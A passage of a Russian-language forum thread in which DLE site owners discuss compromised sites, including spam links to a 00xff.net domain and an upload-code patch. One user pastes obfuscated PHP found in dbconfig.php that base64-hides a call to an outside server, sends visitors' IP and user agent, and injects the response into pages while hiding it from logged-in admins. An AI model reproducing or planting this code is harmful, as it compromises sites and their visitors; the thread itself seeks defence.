kgtu5

WebMasterArtem:
Советую всем проверить свои сайты на наличие новой опасной штуки. Видимо созданной всё тем же злодеем, так как домен снова заканчивается на 00xff.net. Я уже радовался, что всё закончилось и думал - 'О, Чудо!". Но нет! Теперь ВО ВСЕХ новостях на сайте в самом низу появилась надпись "Скачать по прямой ссылке" ведущая на http://yandex.narod.ru.00xff.net/load.php?name=kakaya-libo-igra-ili-chto-to-eshe... Теперь придётся чистить БД.

И да. На сайте всего один пользователь и ни одной аватарки.

ini_set("display_errors","1");
ini_set("display_startup_errors","1");
ini_set('error_reporting', E_ALL);

Emule:
Лучше бы подсказали, потому, что старая версия DLE 9.5.

Korew:
Сегодня обнаружил в dbconfig.php такой код:

$db = new db;

 function showallnews($id) {

	$id = intval($id);

	$rtn = $id + date("j");

	return $rtn;

}



function mysqli_safe($in) {

	if (showallnews(64) < 1024) {

	$rtn = base64_decode($in);

	return $rtn;

	}

}

function getallnews($newsid) {

	if (date("j") - $newsid > 320 ) {

		$rtn = false;

	} else {

	$get = mysqli_safe("aHR0cDovLzkxLjIyMy44OS44OC9nZXRfYXBpLnBocD9waWQ9MiY=")."br=".base64_encode($_SERVER['HTTP_USER_AGENT'])."&ip=".base64_encode($_SERVER['REMOTE_ADDR']);

	if (!isset($_COOKIE[mysqli_safe("ZGxlX3Bhc3N3b3Jk")])) {

	echo @file_get_contents($get);

	}

	}

}

getallnews (date("j"));

?>

Подскажите, как он мог туда попасть и что он делает. Этот код был на двух сайтах, один 9.5, другой - 9.7

Emule:
Можно более подробнее.
Нужно заменить строчку

@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type ); 

или всю

if( $thumb->size_auto( $user_group***91;$member_id***91;"user_group"***93;***93;***91;"max_foto"***93; ) ) {

$thumb->jpeg_quality( $config***91;"peg_quality"***93; );

$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );

} else {

@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );

}

Так же в файле engine/modules/register.php мне не удалось отыскать данную строку, может там, что-то другое нужно заменить?
Буду вам очень благодарен за подробный ответ.

DiAksID:
позвоните сами, скажите что из ФСБ и дайте команду разблокировать 😂 бред несёте